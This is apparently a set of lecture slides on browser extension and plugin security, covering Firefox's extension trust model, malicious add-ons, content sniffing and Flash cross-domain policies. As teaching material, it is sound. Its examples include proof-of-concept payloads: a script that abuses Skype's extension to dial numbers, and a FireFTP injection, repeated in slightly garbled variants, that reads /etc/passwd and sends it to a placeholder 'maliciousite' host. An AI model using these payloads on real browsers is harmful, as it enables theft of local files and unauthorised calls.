Plugin and extension

Elie Bursztein
Main References

- Abusing Firefox Extension by Liverani and Freeman
- Protecting Browser from Extension vulnerabilities by Barth, Felt, Saxena and Boodman
- Secure Content Sniffing for Web Browsers, or How to Stop Papers from Reviewing Themselves by Adam Barth, Juan Caballero, and Dawn Song
My firefox

Elie Bursztein

Browser extensions and plugins security
Elie Bursztein  

Browser extensions and plugins security
FF add-ons statistics

- 886,895,884 Add-on Downloaded
- 170,767,774 Add-ons In Use
- 4,512,999 Registered Users
- 177,993 Add-on Reviews
- 53,972 Add-on Collections
Addons usage by user

User 61,460,501
User with extension 32,848,771
Average addons by user 5.1

The Mozilla Platform

**Toolkit**
- Extension Manager
- Update
- Moz Storage
- Spell Checking
- Brakepad Crash Reporting

**Content**
- **Layout**
- **XUL**
  - XML User Interface Language
- **XBL**
  - XML Binding Language
- **SVG**
  - Scalable Vector Graphics
- **DOM**
  - Document Object Model
- **CSS**
  - Cascading Style Sheets
- **HTML and XML Parser**

**NSS / PSM**
- Network Security Services, Personal Security Manager

**XPCOM**
- Cross Platform Component Object Model

**XPCConnect**
- Bridges JavaScript and XPCOM

**JavaScript**

**NSPR**
- Netscape Portable Runtime: Cross Platform API for System Level Functions

**SQLite**
- Storage

**GFX / Thebes**
- Graphics

**Widget**
- Event Handling and Windowing

**Cairo**
- Graphics
The Mozilla Platform

**Toolkit**
Extension Manager, Update, Moz Storage, Spell Checking, Brakepad Crash Reporting, ...

**Content**

- **Layout**
- **XUL**
  XML User Interface Language
- **XBL**
  XML Binding Language
- **SVG**
  Scalable Vector Graphics
- **DOM**
  Document Object Model
- **CSS**
  Cascading Style Sheets
- **HTML and XML Parser**

**NSS / PSM**
Network Security Services, Personal Security Manager

**XPCOM**
Cross Platform Component Object Model

**XPConnect**
Bridges JavaScript and XPCOM

**JavaScript**

**NSPR**
Netscape Portable Runtime: Cross Platform API for System Level Functions

Built on the Mozilla Platform:
Elie Bursztein
Browser extensions and plugins security

Chrome
Privileged zone
The Mozilla Platform

Chrome
- Privileged zone
- XBL:
  - Widget CSS, XML
  - XUL
- UI for extension
  - xul file
The Mozilla Platform

**Toolkit**
Extension Manager, Update, Moz Storage, Spell Checking, Brakepad Crash Reports

**Content**

- Layout
- XUL: XML User Interface Language
- XBL: XML Binding Language
- DOM: Document Object Model
- CSS: Cascading Style Sheets
- HTML and XML

**NSS / PSM**
Network Security Services, Personal Security Manager

**XPCOM**
Cross Platform Component Object Model

**XPConnect**
Bridges JavaScript and XPCOM

**JavaScript**

**Necko**
Network Library

- **Chrome**
  - Privileged zone
  - XBL: Widget CSS, XML XUL
  - UI for extension
  - xul file
  - XP connect
  - Interface between javascript and XPCOM

**NSPR**
Netscape Portable Runtime: Cross Platform API for System Level Functions
Extension security model

• Currently None
  – Code fully trusted
  – No boundary between extension
  – Can’t allow/deny access to internal API, XPCOM components
  – No SOP

• Jetpack is coming though (next week lecture)
The root of (mis)trust

- User expect to be safe
- Reinforced by the AMO recommendation system
- Reviewers: look for malicious extension not vulnerable one
The review process

Ad-Block

- **Remove advertisement**
- **Whitelist / blacklist based**

![Adblock Plus](image)

Annoyed by adverts? Troubled by tracking? Bothered by banners? Install Adblock Plus now to regain control of the internet and change the way that you view the web.

A short video overview is available at …

[ABP](https://addons.mozilla.org/en-US/firefox/addon/1746) • 1746 reviews • 778,687 weekly downloads • Updated January 7, 2010

![Adblock Plus Preferences](image)

Add the addresses you wish to block, for suggestions check the dropdown list. You can use * as a wildcard to create more general filters. Advanced users can use regular expressions like /banner[0-9]+.gif/.
No script

- Block Javascript
- Block Flash
- "force" HTTPS
- Clear-click protection
- XSS filter
No script security

- No script can be modified by other extensions
- Chrome:// is trusted
Firefox Extension Malware Raises Security Questions

Mozilla's diligent cleanup rather than catching malicious add-ons before they reach the public has rankled some in the security community.

By Thomas Claburn
InformationWeek
May 26, 2009 02:54 PM

Mozilla's commitment to secure software products is coming into question after a recent malware product software incident.

Earlier this month, the lack of security oversight in the Mozilla Firefox add-on community became apparent when Adblock Plus developer Wladimir Palant criticized Giorgio Maone, creator of the JavaScript-blocking extension NoScript, for altering NoScript to interfere with Adblock Plus.
- FormSpy 2006: steal password, credit card …
- Firestarterfox 2008: Hijhack search
- Vietnamese Language Pack 2008:
  - Shipped with adware
  - The owner was hacked …
Extension vulnerability

- Privileged code
- Low level access
- No SOP
- No extension defense
Skype < 3.8.0.188

- Allow to call arbitrary number

- DOM function `skype_tool.call()` can be called directly

```
<br>
Telephone: +64 9 307 3388

<script>
setInterval("document.location='javascript:skype_tool.call(" +6322131218;+6322131219;+6322131230;+6322131231;+6412321312; +63213213123;+6421323235;"'),4000);
</script>
```
• Skype < 3.8.0.188
• Allow to call arbitrary number
• DOM function skype_tool.call() can be called directly

<br>
Telephone: +64 9 307 3388

<script>
setInterval("document.location='javascript:skype_tool.call()'",
+6322131218;+6322131219;+6322131230;+6322131231;+6412321312;
+63213213123;+6421323235;"");,4000);
</script>
FireFTP (< 1.1.4)

- 14.949.244 download
- HTML / JS in welcome message are interpreted (XCS attack)

```html
<html>
<head>

<script>
function s() {
  x = document.getElementById("test").contentWindow;
  alert(x.document.getElementsByTagName("body")["0"].innerHTML);
document.location="http://maliciousite/" +unescape(x.document.getElementsByTagName("body")["0"].innerHTML);
}

</script>
</head>
<body>
<iframe src="view-source:file:///etc/passwd" id="test"></iframe>
<script>setTimeout('s()',3000);</script>
</body>
</html>
```
FireFTP (< 1.1.4)

- 14,949,244 download
- HTML / JS in welcome message are interpreted (XCS attack)

```html
<html>
<head>
  <script>
    function s() {
      x = document.getElementById("test").contentWindow;
      alert(x.document.getElementsByTagName("body")[0].innerHTML);
      document.location="http://maliciousite/";
      +unescape(x.document.getElementsByTagName("body")[0].innerHTML);
    }
  </script>
</head>
<body>
  <iframe src="view-source:file://etc/passwd" id="test"></iframe>
  <script>setTimeout('s()',3000);</script>
</body>
</html>
```
FireFTP (< 1.1.4)

- 14.949.244 download
- HTML / JS in welcome message are interpreted (XCS attack)

```html
<html>
<head>
<script>
function s() {
  x = document.getElementById("test").contentWindow;
  alert(x.document.getElementsByTagName("body")["0"].innerHTML);
  document.location="http://maliciousite/";
  unescape(x.document.getElementsByTagName("body")["0"].innerHTML);
}
</script>
</head>
<body>
<iframe src="view-source:file://etc/passwd" id="test"></iframe>
<script>setTimeout('s()', 3000);</script>
</body>
</html>
```
FireFTP (< 1.1.4)

• 14,949,244 download

• HTML / JS in welcome message are interpreted (XCS attack)

```html
<html>
  <head>
    <script>
      function s() {
        x = document.getElementById("test").contentWindow;
        alert(x.document.getElementsByTagName("body")[0].innerHTML);
        document.location="http://maliciousite/
        +unescape(x.document.getElementsByTagName("body")[0].innerHTML);
      }
    </script>
  </head>
  <body>
    <iframe src="view-source:/etc/passwd" id="test"></iframe>
    <script>setTimeout('s()', 3000);</script>
  </body>
</html>
```
FireFTP (< 1.1.4)

- 14,949,244 download
- HTML / JS in welcome message are interpreted (XCS attack)

```html
<html>
<head>
<script>
function s() {
    var x = document.getElementById("test").contentWindow;
    alert(x.document.getElementsByTagName("body")[0].innerHTML);
    var doc = x.document;
    doc.location = "http://maliciousite/" + escape(x.document.getElementsByTagName("body")[0].innerHTML);
}
</script>
</head>
<body>
<iframe src="view-source://etc/passwd" id="test"></iframe>
<script>setTimeout('s()', 3000);
</script>
</body>
</html>
```
Remember?
• 4,119,272 download
• Even handler injection

```javascript
<img src="http://y/z.jpg" onLoad="badjs()"/>

```
Firefox extension analysis

(a) Most powerful behavior.

- None: 3
- Low: 4
- Med.: 3
- High: 12
- Critical: 3

(b) Most powerful interface.

- None: 2
- High: 4
- Critical: 19
<table>
<thead>
<tr>
<th>Behavior</th>
<th>Interface</th>
<th>Disparity?</th>
<th>Frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process launching (C)</td>
<td>Process launching (C)</td>
<td>No</td>
<td>3 (12%)</td>
</tr>
<tr>
<td>User chooses a file (N)</td>
<td>Arbitrary file access (C)</td>
<td>Yes</td>
<td>11 (44%)</td>
</tr>
<tr>
<td>Extension-specific files (N)</td>
<td>Arbitrary file access (C)</td>
<td>Yes</td>
<td>10 (40%)</td>
</tr>
<tr>
<td>Extension-specific SQLite (N)</td>
<td>Arbitrary SQLite access (H)</td>
<td>Yes</td>
<td>3 (12%)</td>
</tr>
<tr>
<td>Arbitrary network access (H)</td>
<td>Arbitrary network access (H)</td>
<td>No</td>
<td>8 (40%)</td>
</tr>
<tr>
<td>Specific domain access (M)</td>
<td>Arbitrary network access (H)</td>
<td>Yes</td>
<td>2 (8%)</td>
</tr>
<tr>
<td>Arbitrary DOM access (H)</td>
<td>Arbitrary DOM access (H)</td>
<td>No</td>
<td>9 (36%)</td>
</tr>
<tr>
<td>Page for display only (L)</td>
<td>Arbitrary DOM access (H)</td>
<td>Yes</td>
<td>3 (12%)</td>
</tr>
<tr>
<td>DOM of specific sites (M)</td>
<td>Arbitrary DOM access (H)</td>
<td>Yes</td>
<td>2 (8%)</td>
</tr>
<tr>
<td>Highlighted text/images (L)</td>
<td>Arbitrary DOM access (H)</td>
<td>Yes</td>
<td>2 (8%)</td>
</tr>
<tr>
<td>Password, login managers (H)</td>
<td>Password, login managers (H)</td>
<td>No</td>
<td>3 (12%)</td>
</tr>
<tr>
<td>Cookie manager (H)</td>
<td>Cookie manager (H)</td>
<td>No</td>
<td>2 (8%)</td>
</tr>
<tr>
<td>Same-extension prefs (N)</td>
<td>Browser &amp; all ext prefs (H)</td>
<td>Yes</td>
<td>21 (84%)</td>
</tr>
<tr>
<td>Language preferences (M)</td>
<td>Browser &amp; all ext prefs (H)</td>
<td>Yes</td>
<td>1 (4%)</td>
</tr>
</tbody>
</table>
## Chrome Extension interface

<table>
<thead>
<tr>
<th>Behavior</th>
<th>Interface</th>
<th>Disparity?</th>
</tr>
</thead>
<tbody>
<tr>
<td>User chooses a file (N)</td>
<td>User chooses a file (N)</td>
<td>No</td>
</tr>
<tr>
<td>Extension-specific files (N)</td>
<td>HTML5 storage (N)</td>
<td>No</td>
</tr>
<tr>
<td>Extension-specific SQLite (N)</td>
<td>HTML5 storage (N)</td>
<td>No</td>
</tr>
<tr>
<td>Specific-domain network access (M)</td>
<td>Restricted domains (M)</td>
<td>No</td>
</tr>
<tr>
<td>Page for display only (L)</td>
<td>Page for display only (L)</td>
<td>No</td>
</tr>
<tr>
<td>DOM of specific sites (M)</td>
<td>Restricted domains (M)</td>
<td>No</td>
</tr>
<tr>
<td>Highlighted text/images (L)</td>
<td>Gleave API (L)</td>
<td>No</td>
</tr>
<tr>
<td>Same-extension prefs (N)</td>
<td>HTML5 storage (N)</td>
<td>No</td>
</tr>
<tr>
<td>Language preferences (M)</td>
<td>Browser settings (M)</td>
<td>No</td>
</tr>
</tbody>
</table>
One to One relation
One to many relation
Content Sniffing
File extension

• What happen when a jpg file have a .txt extension ?
• How the browser knows how to render a given content ?
Content sniffing

- **HTTP content-type**: contains file MIME type
  - `text/plain`
  - `Application/postscript`
- Sometime this can’t be trusted (Apache bug. Or set incorrectly by user)
- **Browser use content sniffing algorithm to guess the correct mime type**
It is an old idea

- Use a magic number to identify type
  - Fixed string(s) in document headers
- Unix File have been around for decades
- IDS use it as well to identify network traffic
Abusing content sniffing
## Popular formats

<table>
<thead>
<tr>
<th>Signature</th>
<th>Mime Type</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>DATA[0:2] == 0xffd8ff</td>
<td>image/jpeg</td>
<td>58.50%</td>
</tr>
<tr>
<td>strncmp(DATA, &quot;GIF89a&quot;, 6) == 0</td>
<td>image/gif</td>
<td>13.43%</td>
</tr>
<tr>
<td>(DATA[0:3] == 0x89504e47) &amp;&amp; (DATA[4:7] == 0x0d0a0a0a)</td>
<td>image/png</td>
<td>5.50%</td>
</tr>
<tr>
<td>strncmpc(PTR, &quot;&lt;SCRIPT&quot;, 7) == 0</td>
<td>text/html</td>
<td>16.11%</td>
</tr>
<tr>
<td>strncmpc(PTR, &quot;&lt;HTML&quot;, 5) == 0</td>
<td>text/html</td>
<td>1.25%</td>
</tr>
<tr>
<td>strncmpc(PTR, &quot;&lt;?xml&quot;, 5) == 0</td>
<td>application/xml</td>
<td>1.10%</td>
</tr>
</tbody>
</table>

The most popular signatures according to statistics collected from opt-in Google Chrome users. **PTR** is a pointer to the first non-whitespace byte of **DATA**.
## Format analysis

<table>
<thead>
<tr>
<th>image/jpeg</th>
<th>Signature</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 7</td>
<td>DATA[0:1] == 0xffd8</td>
</tr>
<tr>
<td>Firefox 3</td>
<td>DATA[0:2] == 0xffd8ff</td>
</tr>
<tr>
<td>Safari 3.1</td>
<td>DATA[0:3] == 0xffd8ffe0</td>
</tr>
<tr>
<td>Chrome</td>
<td>DATA[0:2] == 0xffd8ff</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>image/gif</th>
<th>Signature</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 7</td>
<td>(strcasecmp(DATA,“GIF87”,5) == 0)</td>
</tr>
<tr>
<td>Firefox 3</td>
<td>strncmp(DATA,“GIF8”,4) == 0</td>
</tr>
<tr>
<td>Safari 3.1</td>
<td>N/A</td>
</tr>
<tr>
<td>Chrome</td>
<td>(strncmp(DATA,“GIF87a”,6) == 0)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>image/png</th>
<th>Signature</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 7</td>
<td>(DATA[0:3] == 0x89504e47) &amp;&amp; (DATA[4:7] == 0x0d0a1a0a)</td>
</tr>
<tr>
<td>Firefox 3</td>
<td>DATA[0:3] == 0x89504e47</td>
</tr>
<tr>
<td>Safari 3.1</td>
<td>N/A</td>
</tr>
<tr>
<td>Chrome</td>
<td>(DATA[0:3] == 0x89504e47) &amp;&amp; (DATA[4:7] == 0x0d0a1a0a)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>image/bmp</th>
<th>Signature</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 7</td>
<td>(DATA[0:1] == 0x424d) &amp;&amp; (DATA[6:9] == 0x00000000)</td>
</tr>
<tr>
<td>Firefox 3</td>
<td>DATA[0:1] == 0x424d</td>
</tr>
<tr>
<td>Safari 3.1</td>
<td>N/A</td>
</tr>
<tr>
<td>Chrome</td>
<td>DATA[0:1] == 0x424d</td>
</tr>
</tbody>
</table>
Plugins
Type of plugins

- ActiveX (IE)
- NPAPI (FF/Chrome/Opera)
Plugins vs extension

- Plugins are native code
- Low level access
- Browser have no control (blackbox)
- Can be called by extension

```
{
  "name": "My extension",
  ...
  "plugins": [
    {
      "path": "content_plugin.dll", "public": true },
    {
      "path": "extension_plugin.dll"
    }
  ],
  ...
}
```
• Invented by netscape
• Execution based on mime-type e.g. mp3/audio
NPAPI overview

1. <embed type=mime-type ...>
2. Plugin
3. Browser API
4. Scriptable NPObj
   ecet
5. A

Library Scope: NP_

Plugin Scope: NPP_

Browser Scope: NPN_
Call the “ExternalInterface” method
Flash and same origin policy

- Flash have a Same Origin Policy
- It also have a Cross-domain policy
- XML file called “cross-domain.xml”

Facebook exploit

This document had no style information.

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/cross-domain.dtd">
<cross-domain-policy>
  <site-control permitted-cross-domain-policies="master-only"/>
  <allow-access-from domain="*"/>
</cross-domain-policy>
<cross-domain-policy>
  <allow-access-from domain="*.fimservecd.com"/>
  <allow-access-from domain="lads.myspace.cn"/>
  <allow-http-request-headers-from domain="lads.myspace.com" headers="*"/>
  <allow-http-request-headers-from domain="lads.myspacecdn.com" headers="*"/>
  <allow-http-request-headers-from domain="lads-stage.myspace.com" headers="*"/>
  <allow-access-from domain="*.myspacecdn.com"/>
  <allow-access-from domain="*.myspace.com"/>
  <allow-access-from domain="farm.sproutbuilder.com"/>
</cross-domain-policy>